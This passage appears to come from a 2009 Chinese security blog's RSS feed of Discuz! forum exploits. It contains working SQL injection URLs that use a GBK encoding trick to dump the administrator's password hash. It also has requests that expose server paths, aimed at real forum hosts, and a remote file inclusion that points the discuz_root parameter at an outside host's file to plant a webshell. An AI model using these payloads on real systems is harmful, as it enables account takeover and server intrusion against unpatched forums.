<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$LangCode</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ‘GB’<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">return</span> ‘GBK’<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$LangCode</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ‘BIG’<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">return</span> ‘BIG5′<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$LangCode</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ‘UTF’<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">return</span> ‘UTF<span style="color: #339933;">-</span><span style="color: #cc66cc;">8</span>′<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$LangCode</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ‘UNI’<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">return</span> ‘UNICODE’<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> _hex2bin<span style="color: #009900;">&#40;</span><span style="color: #000088;">$hexdata</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$hexdata</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">+=</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$bindata</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">hexdec</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$hexdata</span><span style="color: #339933;">,</span> <span style="color: #000088;">$i</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$bindata</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
chinese<span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">class</span><span style="color: #339933;">.</span>php <span style="color: #009900;">&#40;</span>utf<span style="color: #339933;">-</span><span style="color: #cc66cc;">8</span>不能利用<span style="color: #009900;">&#41;</span>
&nbsp;
searchid<span style="color: #339933;">=</span><span style="color: #cc66cc;">22</span><span style="color: #339933;">%</span>cf<span style="color: #0000ff;">'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&amp;amp;do=submit
&nbsp;
/space.php?username=%cf'</span><span style="color: #339933;">%</span>20UNION<span style="color: #339933;">%</span>20SELECT<span style="color: #339933;">%</span><span style="color:#800080;">201</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">4</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">7</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">9</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">10</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">11</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">12</span><span style="color: #339933;">,</span>
<span style="color: #cc66cc;">13</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">14</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">15</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">16</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">17</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">18</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">19</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">20</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">21</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">22</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">23</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">24</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">25</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">26</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">27</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">28</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">29</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">30</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">31</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">32</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">33</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">34</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">35</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">36</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">37</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">38</span><span style="color: #339933;">,</span>
<span style="color: #cc66cc;">39</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">40</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">41</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">42</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">43</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">44</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">45</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">46</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">47</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">48</span><span style="color: #339933;">,</span>password<span style="color: #339933;">,</span><span style="color: #cc66cc;">50</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">51</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">52</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">53</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">54</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">55</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">56</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">57</span><span style="color: #339933;">,</span>database<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">59</span><span style="color: #339933;">,</span>
<span style="color: #cc66cc;">60</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">61</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">62</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">63</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">64</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">65</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">66</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">67</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">68</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">69</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">70</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">71</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">72</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">73</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">74</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">75</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">76</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">77</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">78</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">79</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">80</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">81</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">82</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">83</span><span style="color: #339933;">,</span>
<span style="color: #cc66cc;">84</span><span style="color: #339933;">%</span>20from<span style="color: #339933;">%</span>20cdb_members<span style="color: #339933;">%</span>20where<span style="color: #339933;">%</span>20uid<span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #666666; font-style: italic;">/*
&nbsp;
直接放在url后面可以爆出ｉｄ＝１的用户密码，还可以自己根据需要更改，要注意一点的是，目标必须开了WAP，而且没有打上补丁，WAP浏览吧</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9bwap%e5%8a%9f%e8%83%bd%e6%a8%a1%e5%9d%97%e7%bc%96%e7%a0%81%e7%9a%84%e6%b3%a8%e5%b0%84%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz论坛爆物理路径漏洞</title>
		<link>http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9b%e7%88%86%e7%89%a9%e7%90%86%e8%b7%af%e5%be%84%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9b%e7%88%86%e7%89%a9%e7%90%86%e8%b7%af%e5%be%84%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 05:03:52 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[discuz漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=733</guid>
		<description><![CDATA[<p>受影响版本<br />
Discuz!5.2<br />
Discuz!5.1<br />
Discuz!4.1<br />
Discuz!4.0<br />
&#8230;&#8230;&#8230;&#8230;.</p>
<p>1.common.inc.php问题代码207行</p>
<p>&#8230;..<br />
$navtitle = $navigation = &#8221;;<br />
[......]</p><p class='read-more'><a href='http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9b%e7%88%86%e7%89%a9%e7%90%86%e8%b7%af%e5%be%84%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>受影响版本<br />
Discuz!5.2<br />
Discuz!5.1<br />
Discuz!4.1<br />
Discuz!4.0<br />
&#8230;&#8230;&#8230;&#8230;.</p>
<p>1.common.inc.php问题代码207行</p>
<p>&#8230;..<br />
$navtitle = $navigation = &#8221;;<br />
$extra = isset($extra) &#038;&#038; preg_match(&#8220;/^[&#038;=;a-z0-9]+$/i&#8221;, $extra) ? $extra : &#8221;;<br />
$tpp = intval(empty($_DSESSION['tpp']) ? $topicperpage : $_DSESSION['tpp']);<br />
$ppp = intval(empty($_DSESSION['ppp']) ? $postperpage : $_DSESSION['ppp']);<br />
&#8230;&#8230;.</p>
<p>提交：</p>
<p>http://www.discuz.net/post.php?action=newthread&#038;fid=32&#038;extra[]=page%3D1</p>
<p>返回</p>
<p>Warning: preg_match() expects parameter 2 to be string, array given in</p>
<p>/home/www/wwwroot/www.discuz.net/include/common.inc.php on line 209</p>
<p>2.依然是extra数组的问题<br />
提交</p>
<p>http://bbs.cnbct.org/viewthread.php?tid=316&#038;pid=1453&#038;page=1&#038;extra[]=page%3D1#pid1453</p>
<p>Warning: preg_match() expects parameter 2 to be string, array given in</p>
<p>/home/.cattia/bct/bbs.cnbct.org/include/common.inc.php on line 206<br />
?<br />
Warning: Cannot modify header information &#8211; headers already sent by (output started at</p>
<p>/home/.cattia/bct/bbs.cnbct.org/include/common.inc.php:206) in</p>
<p>/home/.cattia/bct/bbs.cnbct.org/include/global.func.php on line 139</p>
<p>3.global.func.php问题代码306行</p>
<p>function ispage($number) {<br />
return !empty($number) &#038;&#038; preg_match (&#8220;/^([0-9]+)$/&#8221;, $number);<br />
}</p>
<p>提交：</p>
<p>http://www.discuz.net/viewthread.php?tid=316&#038;pid=1453&#038;page[]=1&#038;extra=page%3D1#pid1453</p>
<p>返回</p>
<p>Warning: preg_match() expects parameter 2 to be string, array given in</p>
<p>/home/www/wwwroot/www.discuz.net/include/global.func.php on line 306</p>
<p>总结<br />
当把变量当成数组提交时，如果不存在该数组，但存在变量，后面的preg_match()正则表达式匹配不了，</p>
<p>这样就出现了绝对路径的泄露</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/discuz%e8%ae%ba%e5%9d%9b%e7%88%86%e7%89%a9%e7%90%86%e8%b7%af%e5%be%84%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>discuz许愿池插件远程包含漏洞</title>
		<link>http://www.nuanyue.com/discuz%e8%ae%b8%e6%84%bf%e6%b1%a0%e6%8f%92%e4%bb%b6%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/discuz%e8%ae%b8%e6%84%bf%e6%b1%a0%e6%8f%92%e4%bb%b6%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 05:01:18 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[discuz漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/ApplicationSecurity/20090902/discuz%e8%ae%b8%e6%84%bf%e6%b1%a0%e6%8f%92%e4%bb%b6%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e.html</guid>
		<description><![CDATA[<p>许愿池插件的wish.php文件出的问题：<br />
require $discuz_root.&#8217;./include/discuzcode.func.php&#8217;;<br />
测试方法:</p>
<p>手工利用方法：<br />
远程包含漏洞，变量discuz_root过滤不严，利用方法：</p>
<p>http://url/wish.p[......]</p><p class='read-more'><a href='http://www.nuanyue.com/discuz%e8%ae%b8%e6%84%bf%e6%b1%a0%e6%8f%92%e4%bb%b6%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>许愿池插件的wish.php文件出的问题：<br />
require $discuz_root.&#8217;./include/discuzcode.func.php&#8217;;<br />
测试方法:</p>
<p>手工利用方法：<br />
远程包含漏洞，变量discuz_root过滤不严，利用方法：</p>
<p>http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt?</p>
<p>不一定非要txt后缀，可以改为任意后缀，后面一定要记得加问号。<br />
这里xxxx.txt用CN.Tink的那个小马写个shell进去：<br />
<?copy($_FILES[MyFile][tmp_name],&#8221;C:\In</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/discuz%e8%ae%b8%e6%84%bf%e6%b1%a0%e6%8f%92%e4%bb%b6%e8%bf%9c%e7%a8%8b%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
